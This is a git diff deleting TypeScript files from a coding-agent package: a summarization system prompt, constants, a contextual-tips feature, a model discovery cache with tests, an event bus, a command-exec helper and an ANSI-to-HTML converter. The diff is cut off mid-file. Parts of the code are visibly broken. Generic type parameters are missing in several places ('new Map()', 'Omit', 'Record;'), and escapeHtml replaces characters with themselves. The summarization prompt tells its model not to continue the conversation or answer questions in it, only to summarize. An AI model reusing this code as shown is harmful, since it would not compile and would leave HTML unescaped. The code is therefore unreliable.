.join(""); - if (content) { - parts.push( - `**Tool result:** ${truncateForSummary(content, TOOL_RESULT_MAX_CHARS)}`, - ); - } - } - } - - return parts.join("\n\n"); -} - -// ============================================================================ -// Summarization System Prompt -// ============================================================================ - -export const SUMMARIZATION_SYSTEM_PROMPT = `You are a context summarization assistant. Your task is to read a conversation between a user and a purpose-driven software compiler, then produce a structured summary following the exact format specified. - -Do NOT continue the conversation. Do NOT respond to any questions in the conversation. ONLY output the structured summary.`; diff --git a/packages/pi-coding-agent/src/core/constants.ts b/packages/pi-coding-agent/src/core/constants.ts deleted file mode 100644 index e24ba23b1..000000000 --- a/packages/pi-coding-agent/src/core/constants.ts +++ /dev/null @@ -1,59 +0,0 @@ -/** - * Centralized configuration constants for the coding agent. - * - * Values grouped by subsystem. Each constant documents where it is consumed - * so that changes can be audited in one place. - */ - -// ============================================================================= -// Timeouts -// ============================================================================= - -/** Shell command execution timeout used by resolve-config-value. */ -export const COMMAND_EXECUTION_TIMEOUT_MS = 10_000; - -/** LSP server liveness check timeout (lspmux). */ -export const LSP_LIVENESS_TIMEOUT_MS = 1_000; - -/** Staleness threshold for the async auth-storage file lock. */ -export const AUTH_LOCK_STALE_MS = 30_000; - -// ============================================================================= -// Caches -// ============================================================================= - -/** TTL for the cached lspmux state detection result. */ -export const LSP_STATE_CACHE_TTL_MS = 5 * 60 * 1_000; - -// ============================================================================= -// Compaction & Summarization -// ============================================================================= - -/** Tokens reserved for the LLM prompt + response during compaction and branch summarization. */ -export const COMPACTION_RESERVE_TOKENS = 16_384; - -/** Tokens from the tail of the conversation kept verbatim after compaction. */ -export const COMPACTION_KEEP_RECENT_TOKENS = 20_000; - -/** Max characters kept per tool-result block when serializing for summarization. */ -export const TOOL_RESULT_MAX_CHARS = 2_000; - -// ============================================================================= -// Retry -// ============================================================================= - -/** Base delay for exponential back-off retries (2 s, 4 s, 8 s ...). */ -export const RETRY_BASE_DELAY_MS = 2_000; - -/** Maximum server-requested delay before the retry loop gives up. */ -export const RETRY_MAX_DELAY_MS = 300_000; - -// ============================================================================= -// Tool Defaults -// ============================================================================= - -/** Default result-count cap for the find/glob tool. */ -export const FIND_DEFAULT_LIMIT = 1_000; - -/** Default line-count cap for tool-output truncation. */ -export const TRUNCATE_DEFAULT_MAX_LINES = 2_000; diff --git a/packages/pi-coding-agent/src/core/contextual-tips.test.ts b/packages/pi-coding-agent/src/core/contextual-tips.test.ts deleted file mode 100644 index 144672d20..000000000 --- a/packages/pi-coding-agent/src/core/contextual-tips.test.ts +++ /dev/null @@ -1,326 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { ContextualTips } from "./contextual-tips.js"; - -const baseCtx = { - input: "hello world", - isStreaming: false, - thinkingLevel: "off" as string, - contextPercent: undefined as number | undefined, -}; - -describe("ContextualTips", () => { - describe("shell-command-prefix tip", () => { - it("fires for bare shell commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: "ls -la" }); - assert.ok(result); - assert.ok(result.includes("looks like a shell command")); - assert.ok(result.includes("!")); - }); - - it("fires for various known commands", () => { - for (const cmd of [ - "pwd", - "cd src", - "cat file.txt", - "grep foo bar", - "git status", - "npm install", - "docker ps", - ]) { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: cmd }); - assert.ok(result, `Expected tip for "${cmd}"`); - assert.ok(result.includes("looks like a shell command")); - } - }); - - it("does not fire for commands already prefixed with !", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: "!ls -la" }); - assert.equal(result, null); - }); - - it("does not fire for commands prefixed with !!", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: "!!ls -la" }); - assert.equal(result, null); - }); - - it("does not fire for slash commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: "/clear" }); - assert.equal(result, null); - }); - - it("does not fire for unknown commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "please help me fix this bug", - }); - assert.equal(result, null); - }); - - it("does not fire for very long inputs", () => { - const tips = new ContextualTips(); - const longInput = "ls " + "a".repeat(200); - const result = tips.evaluate({ ...baseCtx, input: longInput }); - assert.equal(result, null); - }); - - it("respects maxShows (2)", () => { - const tips = new ContextualTips(); - tips.evaluate({ ...baseCtx, input: "ls" }); - tips.evaluate({ ...baseCtx, input: "pwd" }); - const third = tips.evaluate({ ...baseCtx, input: "cat foo" }); - assert.equal(third, null); - }); - }); - - describe("large-paste tip", () => { - it("fires for large inputs", () => { - const tips = new ContextualTips(); - const largeInput = "a".repeat(2500); - const result = tips.evaluate({ ...baseCtx, input: largeInput }); - assert.ok(result); - assert.ok(result.includes("Large inputs")); - }); - - it("does not fire for normal-length inputs", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ ...baseCtx, input: "fix the login bug" }); - assert.equal(result, null); - }); - - it("does not fire for large bash commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "!" + "a".repeat(2500), - }); - assert.equal(result, null); - }); - - it("respects maxShows (2)", () => { - const tips = new ContextualTips(); - const large = "x".repeat(3000); - tips.evaluate({ ...baseCtx, input: large }); - tips.evaluate({ ...baseCtx, input: large }); - const third = tips.evaluate({ ...baseCtx, input: large }); - assert.equal(third, null); - }); - }); - - describe("thinking-level-high tip", () => { - it("fires for short inputs with high thinking", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "what is 2+2?", - thinkingLevel: "high", - }); - assert.ok(result); - assert.ok(result.includes("Thinking is set to high")); - }); - - it("fires for xhigh thinking", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "what time is it?", - thinkingLevel: "xhigh", - }); - assert.ok(result); - assert.ok(result.includes("Thinking is set to xhigh")); - }); - - it("does not fire for low/medium thinking", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "what is 2+2?", - thinkingLevel: "medium", - }); - assert.equal(result, null); - }); - - it("does not fire for long inputs", () => { - const tips = new ContextualTips(); - const longInput = - "Please help me refactor this entire authentication module to use JWT tokens instead of session cookies. " + - "I need to update the middleware, the login handler, and the user model."; - const result = tips.evaluate({ - ...baseCtx, - input: longInput, - thinkingLevel: "high", - }); - assert.equal(result, null); - }); - - it("does not fire for slash commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "/model", - thinkingLevel: "high", - }); - assert.equal(result, null); - }); - - it("respects maxShows (1)", () => { - const tips = new ContextualTips(); - tips.evaluate({ ...baseCtx, input: "hi", thinkingLevel: "high" }); - const second = tips.evaluate({ - ...baseCtx, - input: "hello", - thinkingLevel: "high", - }); - assert.equal(second, null); - }); - }); - - describe("double-bang-reminder tip", () => { - it("fires after 3+ included bash commands", () => { - const tips = new ContextualTips(); - tips.recordBashIncluded(); - tips.recordBashIncluded(); - tips.recordBashIncluded(); - const result = tips.evaluate({ ...baseCtx, input: "!ls" }); - assert.ok(result); - assert.ok(result.includes("!!")); - }); - - it("does not fire with fewer than 3 included commands", () => { - const tips = new ContextualTips(); - tips.recordBashIncluded(); - tips.recordBashIncluded(); - const result = tips.evaluate({ ...baseCtx, input: "!ls" }); - assert.equal(result, null); - }); - - it("does not fire for !! commands", () => { - const tips = new ContextualTips(); - tips.recordBashIncluded(); - tips.recordBashIncluded(); - tips.recordBashIncluded(); - const result = tips.evaluate({ ...baseCtx, input: "!!ls" }); - assert.equal(result, null); - }); - - it("respects maxShows (2)", () => { - const tips = new ContextualTips(); - for (let i = 0; i < 5; i++) tips.recordBashIncluded(); - tips.evaluate({ ...baseCtx, input: "!ls" }); - tips.evaluate({ ...baseCtx, input: "!pwd" }); - const third = tips.evaluate({ ...baseCtx, input: "!cat foo" }); - assert.equal(third, null); - }); - }); - - describe("compaction-nudge tip", () => { - it("fires when context is >= 70%", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "fix the bug", - contextPercent: 75, - }); - assert.ok(result); - assert.ok(result.includes("/compact")); - }); - - it("does not fire when context is < 70%", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "fix the bug", - contextPercent: 50, - }); - assert.equal(result, null); - }); - - it("does not fire when contextPercent is undefined", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "fix the bug", - contextPercent: undefined, - }); - assert.equal(result, null); - }); - - it("does not fire for slash commands", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "/model", - contextPercent: 90, - }); - assert.equal(result, null); - }); - - it("respects maxShows (1)", () => { - const tips = new ContextualTips(); - tips.evaluate({ ...baseCtx, input: "hello", contextPercent: 80 }); - const second = tips.evaluate({ - ...baseCtx, - input: "world", - contextPercent: 85, - }); - assert.equal(second, null); - }); - }); - - describe("reset", () => { - it("resets all show counters", () => { - const tips = new ContextualTips(); - // Exhaust shell-command-prefix tip - tips.evaluate({ ...baseCtx, input: "ls" }); - tips.evaluate({ ...baseCtx, input: "pwd" }); - assert.equal(tips.evaluate({ ...baseCtx, input: "cat foo" }), null); - - tips.reset(); - - // Should fire again after reset - const result = tips.evaluate({ ...baseCtx, input: "ls" }); - assert.ok(result); - assert.ok(result.includes("looks like a shell command")); - }); - - it("resets bash included count", () => { - const tips = new ContextualTips(); - for (let i = 0; i < 5; i++) tips.recordBashIncluded(); - assert.equal(tips.bashIncludedCount, 5); - - tips.reset(); - assert.equal(tips.bashIncludedCount, 0); - }); - }); - - describe("priority — first match wins", () => { - it("shell-command-prefix takes priority over compaction nudge", () => { - const tips = new ContextualTips(); - const result = tips.evaluate({ - ...baseCtx, - input: "ls", - contextPercent: 80, - }); - assert.ok(result); - assert.ok(result.includes("looks like a shell command")); - }); - - it("large-paste takes priority over compaction nudge", () => { - const tips = new ContextualTips(); - const largeInput = "x".repeat(3000); - const result = tips.evaluate({ - ...baseCtx, - input: largeInput, - contextPercent: 80, - }); - assert.ok(result); - assert.ok(result.includes("Large inputs")); - }); - }); -}); diff --git a/packages/pi-coding-agent/src/core/contextual-tips.ts b/packages/pi-coding-agent/src/core/contextual-tips.ts deleted file mode 100644 index 10602088a..000000000 --- a/packages/pi-coding-agent/src/core/contextual-tips.ts +++ /dev/null @@ -1,237 +0,0 @@ -/** - * Contextual tips system — shows non-intrusive, session-scoped hints - * when user behavior suggests they'd benefit from knowing a feature. - * - * Each tip fires at most `maxShows` times per session. Tips are - * evaluated in order; the first match wins per input event. - */ - -// ─── Tip definitions ───────────────────────────────────────────────────────── - -export interface TipContext { - /** The raw input text the user submitted */ - input: string; - /** Whether the agent is currently streaming */ - isStreaming: boolean; - /** Current thinking level (e.g. "off", "low", "high", "xhigh") */ - thinkingLevel?: string; - /** Number of `!` (included) bash commands run this session */ - bashIncludedCount: number; - /** Approximate context usage percentage (0–100), if known */ - contextPercent?: number; -} - -export interface Tip { - id: string; - /** Maximum times this tip is shown per session */ - maxShows: number; - /** Returns the tip message if the tip should fire, or null to skip */ - evaluate: (ctx: TipContext) => string | null; -} - -// Shell commands that obviously run locally and don't need the LLM. -// Intentionally conservative — these are unambiguous filesystem/info commands. -const LOCAL_SHELL_COMMANDS = new Set([ - "ls", - "ll", - "la", - "pwd", - "cd", - "dir", - "cat", - "head", - "tail", - "wc", - "file", - "which", - "whoami", - "echo", - "date", - "tree", - "find", - "grep", - "rg", - "clear", - "env", - "df", - "du", - "uname", - "hostname", - "mkdir", - "rm", - "cp", - "mv", - "touch", - "chmod", - "less", - "more", - "sort", - "uniq", - "sed", - "awk", - "curl", - "wget", - "tar", - "zip", - "unzip", - "git", - "docker", - "npm", - "npx", - "yarn", - "pnpm", - "node", - "python", - "python3", - "pip", - "pip3", - "make", - "cargo", - "go", - "ruby", - "brew", -]); - -/** - * Extract the first token from input, ignoring leading whitespace. - * Returns lowercase for case-insensitive matching. - */ -function firstToken(input: string): string { - const trimmed = input.trimStart(); - const spaceIdx = trimmed.search(/\s/); - const token = spaceIdx === -1 ? trimmed : trimmed.slice(0, spaceIdx); - return token.toLowerCase(); -} - -/** - * Check if input looks like a bare shell command (no !, //, or slash prefix). - */ -function looksLikeShellCommand(input: string): boolean { - const trimmed = input.trimStart(); - // Already prefixed — user knows what they're doing - if (trimmed.startsWith("!") || trimmed.startsWith("/")) return false; - // Multi-line or very long inputs are probably prompts - if (trimmed.includes("\n") || trimmed.length > 120) return false; - return LOCAL_SHELL_COMMANDS.has(firstToken(trimmed)); -} - -const TIPS: Tip[] = [ - // 1. Shell command reminder - { - id: "shell-command-prefix", - maxShows: 2, - evaluate(ctx) { - if (!looksLikeShellCommand(ctx.input)) return null; - const cmd = firstToken(ctx.input); - return `Tip: "${cmd}" looks like a shell command. Prefix with ! to run locally, or !! to run without using tokens.`; - }, - }, - - // 2. Large paste warning - { - id: "large-paste", - maxShows: 2, - evaluate(ctx) { - if (ctx.input.length < 2000) return null; - // Slash commands and bash prefixes are intentional - if ( - ctx.input.trimStart().startsWith("/") || - ctx.input.trimStart().startsWith("!") - ) - return null; - return "Tip: Large inputs consume many tokens. Consider saving to a file and asking the agent to read it."; - }, - }, - - // 3. Thinking level awareness - { - id: "thinking-level-high", - maxShows: 1, - evaluate(ctx) { - const level = ctx.thinkingLevel?.toLowerCase(); - if (level !== "high" && level !== "xhigh") return null; - // Only fire for short, simple-looking inputs (likely simple questions) - const trimmed = ctx.input.trim(); - if (trimmed.length > 80 || trimmed.includes("\n")) return null; - // Don't fire on slash or bash commands - if (trimmed.startsWith("/") || trimmed.startsWith("!")) return null; - return `Tip: Thinking is set to ${level}. Use Ctrl+T to lower it for simple questions — saves tokens.`; - }, - }, - - // 4. Double-bang reminder - { - id: "double-bang-reminder", - maxShows: 2, - evaluate(ctx) { - // Fire after user has run 3+ included (!) bash commands - if (ctx.bashIncludedCount < 3) return null; - // Only trigger on a ! command (not !!) - const trimmed = ctx.input.trimStart(); - if (!trimmed.startsWith("!") || trimmed.startsWith("!!")) return null; - return "Tip: Use !! instead of ! to keep command output out of agent context and save tokens."; - }, - }, - - // 5. Compaction nudge - { - id: "compaction-nudge", - maxShows: 1, - evaluate(ctx) { - if (ctx.contextPercent === undefined || ctx.contextPercent < 70) - return null; - // Don't nag on slash/bash - const trimmed = ctx.input.trimStart(); - if (trimmed.startsWith("/") || trimmed.startsWith("!")) return null; - return "Tip: Context is getting full. Use /compact to summarize the conversation and free up space."; - }, - }, -]; - -// ─── Session-scoped tracker ────────────────────────────────────────────────── - -export class ContextualTips { - /** Map of tip ID → number of times shown this session */ - private showCounts = new Map(); - /** Track ! bash commands for double-bang reminder */ - private _bashIncludedCount = 0; - - /** Increment the bash-included counter. Call when user runs ! (not !!) command. */ - recordBashIncluded(): void { - this._bashIncludedCount++; - } - - get bashIncludedCount(): number { - return this._bashIncludedCount; - } - - /** - * Evaluate all tips against the current input context. - * Returns the first matching tip message, or null if none apply. - */ - evaluate(ctx: Omit): string | null { - const fullCtx: TipContext = { - ...ctx, - bashIncludedCount: this._bashIncludedCount, - }; - - for (const tip of TIPS) { - const shown = this.showCounts.get(tip.id) ?? 0; - if (shown >= tip.maxShows) continue; - - const message = tip.evaluate(fullCtx); - if (message) { - this.showCounts.set(tip.id, shown + 1); - return message; - } - } - - return null; - } - - /** Reset all counters (e.g. on new session). */ - reset(): void { - this.showCounts.clear(); - this._bashIncludedCount = 0; - } -} diff --git a/packages/pi-coding-agent/src/core/defaults.ts b/packages/pi-coding-agent/src/core/defaults.ts deleted file mode 100644 index 261608a72..000000000 --- a/packages/pi-coding-agent/src/core/defaults.ts +++ /dev/null @@ -1,3 +0,0 @@ -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; - -export const DEFAULT_THINKING_LEVEL: ThinkingLevel = "medium"; diff --git a/packages/pi-coding-agent/src/core/diagnostics.ts b/packages/pi-coding-agent/src/core/diagnostics.ts deleted file mode 100644 index 20fb80243..000000000 --- a/packages/pi-coding-agent/src/core/diagnostics.ts +++ /dev/null @@ -1,15 +0,0 @@ -export interface ResourceCollision { - resourceType: "extension" | "skill" | "prompt" | "theme"; - name: string; // skill name, command/tool/flag name, prompt name, theme name - winnerPath: string; - loserPath: string; - winnerSource?: string; // e.g., "npm:foo", "git:...", "local" - loserSource?: string; -} - -export interface ResourceDiagnostic { - type: "warning" | "error" | "collision"; - message: string; - path?: string; - collision?: ResourceCollision; -} diff --git a/packages/pi-coding-agent/src/core/discovery-cache.test.ts b/packages/pi-coding-agent/src/core/discovery-cache.test.ts deleted file mode 100644 index d8b1d7531..000000000 --- a/packages/pi-coding-agent/src/core/discovery-cache.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdirSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { ModelDiscoveryCache } from "./discovery-cache.js"; - -let testDir: string; -let cachePath: string; - -beforeEach(() => { - testDir = join( - tmpdir(), - `discovery-cache-test-${Date.now()}-${Math.random().toString(36).slice(2)}`, - ); - mkdirSync(testDir, { recursive: true }); - cachePath = join(testDir, "discovery-cache.json"); -}); - -afterEach(() => { - try { - rmSync(testDir, { recursive: true, force: true }); - } catch { - // Cleanup best-effort - } -}); - -// ─── basic operations ──────────────────────────────────────────────────────── - -describe("ModelDiscoveryCache — basic operations", () => { - it("starts with no entries", () => { - const cache = new ModelDiscoveryCache(cachePath); - assert.equal(cache.get("openai"), undefined); - }); - - it("stores and retrieves models", () => { - const cache = new ModelDiscoveryCache(cachePath); - const models = [{ id: "gpt-4o", name: "GPT-4o" }]; - cache.set("openai", models); - - const entry = cache.get("openai"); - assert.ok(entry); - assert.deepEqual(entry.models, models); - assert.ok(entry.fetchedAt > 0); - assert.ok(entry.ttlMs > 0); - }); - - it("persists to disk and reloads", () => { - const cache1 = new ModelDiscoveryCache(cachePath); - cache1.set("openai", [{ id: "gpt-4o" }]); - - const cache2 = new ModelDiscoveryCache(cachePath); - const entry = cache2.get("openai"); - assert.ok(entry); - assert.equal(entry.models[0].id, "gpt-4o"); - }); - - it("clear removes a specific provider", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - cache.set("google", [{ id: "gemini-pro" }]); - - cache.clear("openai"); - assert.equal(cache.get("openai"), undefined); - const googleEntry = cache.get("google"); - assert.ok(googleEntry); - assert.equal(googleEntry.models[0].id, "gemini-pro"); - }); - - it("clear without provider removes all entries", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - cache.set("google", [{ id: "gemini-pro" }]); - - cache.clear(); - assert.equal(cache.get("openai"), undefined); - assert.equal(cache.get("google"), undefined); - }); -}); - -// ─── staleness ─────────────────────────────────────────────────────────────── - -describe("ModelDiscoveryCache — staleness", () => { - it("newly set entries are not stale", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - assert.equal(cache.isStale("openai"), false); - }); - - it("missing providers are stale", () => { - const cache = new ModelDiscoveryCache(cachePath); - assert.equal(cache.isStale("unknown"), true); - }); - - it("entries with expired TTL are stale", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }], 1); // 1ms TTL - - // Wait for TTL to expire - const start = Date.now(); - while (Date.now() - start < 5) { - // busy wait - } - - assert.equal(cache.isStale("openai"), true); - }); -}); - -// ─── getAll ────────────────────────────────────────────────────────────────── - -describe("ModelDiscoveryCache — getAll", () => { - it("returns non-stale entries by default", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - cache.set("stale", [{ id: "old" }], 1); - - // Wait for stale TTL - const start = Date.now(); - while (Date.now() - start < 5) { - // busy wait - } - - const all = cache.getAll(); - assert.ok(all.has("openai")); - assert.ok(!all.has("stale")); - }); - - it("returns all entries when includeStale is true", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - cache.set("stale", [{ id: "old" }], 1); - - // Wait for stale TTL - const start = Date.now(); - while (Date.now() - start < 5) { - // busy wait - } - - const all = cache.getAll(true); - assert.ok(all.has("openai")); - assert.ok(all.has("stale")); - }); -}); - -// ─── edge cases ────────────────────────────────────────────────────────────── - -describe("ModelDiscoveryCache — edge cases", () => { - it("handles corrupted cache file gracefully", () => { - writeFileSync(cachePath, "not valid json", "utf-8"); - const cache = new ModelDiscoveryCache(cachePath); - assert.equal(cache.get("openai"), undefined); - }); - - it("handles wrong version gracefully", () => { - writeFileSync( - cachePath, - JSON.stringify({ version: 99, entries: {} }), - "utf-8", - ); - const cache = new ModelDiscoveryCache(cachePath); - assert.equal(cache.get("openai"), undefined); - }); - - it("handles missing cache file", () => { - const cache = new ModelDiscoveryCache( - join(testDir, "nonexistent", "cache.json"), - ); - assert.equal(cache.get("openai"), undefined); - }); - - it("overwrites existing entry for same provider", () => { - const cache = new ModelDiscoveryCache(cachePath); - cache.set("openai", [{ id: "gpt-4o" }]); - cache.set("openai", [{ id: "gpt-4o-mini" }]); - - const entry = cache.get("openai"); - assert.ok(entry); - assert.equal(entry.models.length, 1); - assert.equal(entry.models[0].id, "gpt-4o-mini"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/discovery-cache.ts b/packages/pi-coding-agent/src/core/discovery-cache.ts deleted file mode 100644 index c09da669f..000000000 --- a/packages/pi-coding-agent/src/core/discovery-cache.ts +++ /dev/null @@ -1,110 +0,0 @@ -/** - * Disk-based cache for discovered models. - * Stores results at {agentDir}/discovery-cache.json with per-provider TTLs. - */ - -import { - existsSync, - mkdirSync, - readFileSync, - renameSync, - writeFileSync, -} from "node:fs"; -import { dirname, join } from "node:path"; -import { getAgentDir } from "../config.js"; -import { type DiscoveredModel, getDefaultTTL } from "./model-discovery.js"; - -export interface DiscoveryCacheEntry { - models: DiscoveredModel[]; - fetchedAt: number; - ttlMs: number; -} - -export interface DiscoveryCacheData { - version: 1; - entries: Record; -} - -export class ModelDiscoveryCache { - private data: DiscoveryCacheData; - private cachePath: string; - - constructor(cachePath?: string) { - this.cachePath = cachePath ?? join(getAgentDir(), "discovery-cache.json"); - this.data = { version: 1, entries: {} }; - this.load(); - } - - get(provider: string): DiscoveryCacheEntry | undefined { - const entry = this.data.entries[provider]; - return entry; - } - - set(provider: string, models: DiscoveredModel[], ttlMs?: number): void { - // Re-read from disk to get the latest state before modifying - this.load(); - this.data.entries[provider] = { - models, - fetchedAt: Date.now(), - ttlMs: ttlMs ?? getDefaultTTL(provider), - }; - this.save(); - } - - isStale(provider: string): boolean { - const entry = this.data.entries[provider]; - if (!entry) return true; - return Date.now() - entry.fetchedAt > entry.ttlMs; - } - - clear(provider?: string): void { - // Re-read from disk to get the latest state before modifying - this.load(); - if (provider) { - delete this.data.entries[provider]; - } else { - this.data.entries = {}; - } - this.save(); - } - - getAll(includeStale = false): Map { - const result = new Map(); - for (const [provider, entry] of Object.entries(this.data.entries)) { - if (includeStale || !this.isStale(provider)) { - result.set(provider, entry); - } - } - return result; - } - - load(): void { - try { - if (existsSync(this.cachePath)) { - const content = readFileSync(this.cachePath, "utf-8"); - const parsed = JSON.parse(content) as DiscoveryCacheData; - if (parsed.version === 1 && parsed.entries) { - this.data = parsed; - } - } - } catch { - // Corrupted or unreadable cache — start fresh - this.data = { version: 1, entries: {} }; - } - } - - save(): void { - try { - const dir = dirname(this.cachePath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - // Atomic write: write to temp file then rename to avoid partial reads - const tmpPath = this.cachePath + ".tmp"; - writeFileSync(tmpPath, JSON.stringify(this.data, null, 2), "utf-8"); - renameSync(tmpPath, this.cachePath); - } catch { - // Silently ignore write failures (read-only FS, permissions, etc.) - } - } -} diff --git a/packages/pi-coding-agent/src/core/event-bus.ts b/packages/pi-coding-agent/src/core/event-bus.ts deleted file mode 100644 index a4c87b9f0..000000000 --- a/packages/pi-coding-agent/src/core/event-bus.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { EventEmitter } from "node:events"; - -export interface EventBus { - emit(channel: string, data: unknown): void; - on(channel: string, handler: (data: unknown) => void): () => void; -} - -export interface EventBusController extends EventBus { - clear(): void; -} - -export function createEventBus(): EventBusController { - const emitter = new EventEmitter(); - return { - emit: (channel, data) => { - emitter.emit(channel, data); - }, - on: (channel, handler) => { - const safeHandler = async (data: unknown) => { - try { - await handler(data); - } catch (err) { - console.error(`Event handler error (${channel}):`, err); - } - }; - emitter.on(channel, safeHandler); - return () => emitter.off(channel, safeHandler); - }, - clear: () => { - emitter.removeAllListeners(); - }, - }; -} diff --git a/packages/pi-coding-agent/src/core/exec.ts b/packages/pi-coding-agent/src/core/exec.ts deleted file mode 100644 index 3225ac881..000000000 --- a/packages/pi-coding-agent/src/core/exec.ts +++ /dev/null @@ -1,99 +0,0 @@ -/** - * Shared command execution utilities for extensions and custom tools. - */ - -import { spawn } from "node:child_process"; - -/** - * Options for executing shell commands. - */ -export interface ExecOptions { - /** AbortSignal to cancel the command */ - signal?: AbortSignal; - /** Timeout in milliseconds */ - timeout?: number; - /** Working directory */ - cwd?: string; -} - -/** - * Result of executing a shell command. - */ -export interface ExecResult { - stdout: string; - stderr: string; - code: number; - killed: boolean; -} - -/** - * Execute a shell command and return stdout/stderr/code. - * Supports timeout and abort signal. - */ -export async function execCommand( - command: string, - args: string[], - cwd: string, - options?: ExecOptions, -): Promise { - // Combine user abort + timeout into one signal (Node 19+ AbortSignal.any). - const sigs: AbortSignal[] = []; - if (options?.signal) sigs.push(options.signal); - if (options?.timeout && options.timeout > 0) - sigs.push(AbortSignal.timeout(options.timeout)); - const signal = - sigs.length === 0 - ? undefined - : sigs.length === 1 - ? sigs[0] - : AbortSignal.any(sigs); - - return new Promise((resolve) => { - const proc = spawn(command, args, { - cwd, - // On Windows, npm/npx/tsc etc. are .cmd scripts that require shell - // resolution. Without this, spawn fails with ENOENT or EINVAL (#2854). - shell: process.platform === "win32", - stdio: ["ignore", "pipe", "pipe"], - // spawn auto-sends killSignal when this aborts. - signal, - killSignal: "SIGTERM", - }); - - let stdout = ""; - let stderr = ""; - let killTimer: NodeJS.Timeout | undefined; - - // Force SIGKILL 5s after SIGTERM if the process refuses to exit. - signal?.addEventListener( - "abort", - () => { - killTimer = setTimeout(() => { - if (!proc.killed) proc.kill("SIGKILL"); - }, 5000); - }, - { once: true }, - ); - - proc.stdout?.on("data", (data) => { - stdout += data.toString(); - }); - - proc.stderr?.on("data", (data) => { - stderr += data.toString(); - }); - - const finish = (code: number) => { - if (killTimer) clearTimeout(killTimer); - resolve({ - stdout, - stderr, - code, - killed: signal?.aborted ?? false, - }); - }; - - proc.on("close", (code) => finish(code ?? 0)); - proc.on("error", () => finish(1)); - }); -} diff --git a/packages/pi-coding-agent/src/core/export-html/ansi-to-html.ts b/packages/pi-coding-agent/src/core/export-html/ansi-to-html.ts deleted file mode 100644 index d89a6eca8..000000000 --- a/packages/pi-coding-agent/src/core/export-html/ansi-to-html.ts +++ /dev/null @@ -1,271 +0,0 @@ -/** - * ANSI escape code to HTML converter. - * - * Converts terminal ANSI color/style codes to HTML with inline styles. - * Supports: - * - Standard foreground colors (30-37) and bright variants (90-97) - * - Standard background colors (40-47) and bright variants (100-107) - * - 256-color palette (38;5;N and 48;5;N) - * - RGB true color (38;2;R;G;B and 48;2;R;G;B) - * - Text styles: bold (1), dim (2), italic (3), underline (4) - * - Reset (0) - */ - -// Standard ANSI color palette (0-15) -const ANSI_COLORS = [ - "#000000", // 0: black - "#800000", // 1: red - "#008000", // 2: green - "#808000", // 3: yellow - "#000080", // 4: blue - "#800080", // 5: magenta - "#008080", // 6: cyan - "#c0c0c0", // 7: white - "#808080", // 8: bright black - "#ff0000", // 9: bright red - "#00ff00", // 10: bright green - "#ffff00", // 11: bright yellow - "#0000ff", // 12: bright blue - "#ff00ff", // 13: bright magenta - "#00ffff", // 14: bright cyan - "#ffffff", // 15: bright white -]; - -/** - * Convert 256-color index to hex. - */ -function color256ToHex(index: number): string { - // Standard colors (0-15) - if (index < 16) { - return ANSI_COLORS[index]; - } - - // Color cube (16-231): 6x6x6 = 216 colors - if (index < 232) { - const cubeIndex = index - 16; - const r = Math.floor(cubeIndex / 36); - const g = Math.floor((cubeIndex % 36) / 6); - const b = cubeIndex % 6; - const toComponent = (n: number) => (n === 0 ? 0 : 55 + n * 40); - const toHex = (n: number) => toComponent(n).toString(16).padStart(2, "0"); - return `#${toHex(r)}${toHex(g)}${toHex(b)}`; - } - - // Grayscale (232-255): 24 shades - const gray = 8 + (index - 232) * 10; - const grayHex = gray.toString(16).padStart(2, "0"); - return `#${grayHex}${grayHex}${grayHex}`; -} - -/** - * Escape HTML special characters. - */ -function escapeHtml(text: string): string { - return text - .replace(/&/g, "&") - .replace(//g, ">") - .replace(/"/g, """) - .replace(/'/g, "'"); -} - -interface TextStyle { - fg: string | null; - bg: string | null; - bold: boolean; - dim: boolean; - italic: boolean; - underline: boolean; -} - -function createEmptyStyle(): TextStyle { - return { - fg: null, - bg: null, - bold: false, - dim: false, - italic: false, - underline: false, - }; -} - -function styleToInlineCSS(style: TextStyle): string { - const parts: string[] = []; - if (style.fg) parts.push(`color:${style.fg}`); - if (style.bg) parts.push(`background-color:${style.bg}`); - if (style.bold) parts.push("font-weight:bold"); - if (style.dim) parts.push("opacity:0.6"); - if (style.italic) parts.push("font-style:italic"); - if (style.underline) parts.push("text-decoration:underline"); - return parts.join(";"); -} - -function hasStyle(style: TextStyle): boolean { - return ( - style.fg !== null || - style.bg !== null || - style.bold || - style.dim || - 